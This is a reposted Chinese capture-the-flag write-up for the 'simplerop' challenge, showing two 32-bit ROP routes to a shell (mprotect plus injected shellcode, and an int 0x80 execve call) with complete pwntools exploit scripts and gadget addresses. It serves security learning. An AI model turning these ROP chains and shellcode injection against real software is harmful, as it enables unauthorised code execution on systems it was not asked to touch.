close

本文為看雪論壇優秀‍‍‍文章看雪論壇作者ID:N1co5in3


本題為除ret2libc外的兩種getshell方式的展示:int80與mprotect改寫權限。

學習了非常規棧位移的調試:在elf文件比較奇怪時,要用gdb進行位移調試。


題目復現


函數很多,沒有打印函數的plt,無法ret2libc。

主函數可溢出:存在mprotect,可以改變bss權限後,在bss寫入shell代碼。存在int 0x80,可以調整寄存器利用中斷執行sh。因此本題有兩種思路。


解題思路

方法一:先用mprotect改寫bss段權限,用read函數在bss段寫入shell代碼。

方法二:由於文件中沒用binsh字符串,先用read函數在bss段寫入『/bin/sh』,再調整寄存器執行exec函數。


調試過程

方法一

先找bss段位置。
mprotect參數如下,實際操作時len取0x1000,addr要略比實際靠前,取0x80ef00,prot取二進制111,即為7。

執行完函數需要pop3執行後面的函數,都可以用。


read函數參數為0,bss地址,0x100。

方法二
int 80(eax,ebx,ecx,edx):eax為11,ebx為』/bin/sh』地址,ecx,edx缺省。


此題棧比較奇怪,與ida不符,需要自己調試,下面是調試技術的展示。

gdb斷點應該更直觀。

得到ret地址位移為0x20,考慮原因:這道題應該不是我們平常做的c語言編譯器得到的,elf結構比較奇怪,所以棧也有所不同。




Payload

方法一
from pwn import *context.log_level = 'debug'context.arch = 'i386' io = process('./simplerop')#io = remote('node4.buuoj.cn',25205)elf = ELF('./simplerop')main_addr = 0x8048e26read_addr = 0x806cd50#pop_eax = 0x80bae06pop_edx_ecx_ebx = 0x806e850#int80_addr = 0x80493e1binsh_addr = 0x80eaf80mprotect_addr = 0x806d870#binsh_addr = 0x80eb584 payload = b'a'*0x20 + p32(mprotect_addr) + p32(pop_edx_ecx_ebx) + p32(0x80ea000) + p32(0x1000) + p32(7)payload += p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x100)payload += p32(binsh_addr) io.sendlineafter('it',payload)sleep(0.2) payload2 = asm(shellcraft.sh())io.sendline(payload2) io.interactive()

方法二
from pwn import *context.log_level = 'debug'context.arch = 'i386' io = process('./simplerop')#io = remote('node4.buuoj.cn',25205)elf = ELF('./simplerop')main_addr = 0x8048e26read_addr = 0x806cd50pop_eax = 0x80bae06pop_edx_ecx_ebx = 0x806e850pop_ebx = 0x80481c9int80_addr = 0x80493e1binsh_addr = 0x80eaf80#binsh_addr = 0x80eb584 payload = b'a' * 0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)payload += p32(pop_eax) + p32(11) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) +p32(binsh_addr) + p32(int80_addr)#payload += p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(binsh_addr) + p32(int80_addr)io.sendline(payload)io.sendline(b'/bin/sh\x00') io.interactive()


未解決問題

未解決的問題1:法二中,網上payload設置binsh的地址,不能在本地調試到結果(遠程卻可以),報錯「set_thread_area failed」,但binsh地址改為bss地址本地成功。

未解決的問題2:法二中,ecx,edx應該是可以缺省的,但我只pop_ebx就會報錯「set_thread_area failed」。

希望有師傅可以交流解決上述問題!



看雪ID:N1co5in3

https://bbs.pediy.com/user-home-945391.htm

*本文由看雪論壇 N1co5in3原創,轉載請註明來自看雪社區

#往期推薦

1.一種將LLVM Pass集成到NDK中的通用方法

2.人工智能競賽-房價預測

3.Windows PrintNightmare 漏洞復現分析

4.殼小白關於壓縮殼的學習心得及基礎實戰練習

5.Windows平台下棧溢出漏洞學習筆記

6.GKCTF2021 KillerAid




球分享

球點讚

球在看

點擊「閱讀原文」,了解更多!

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()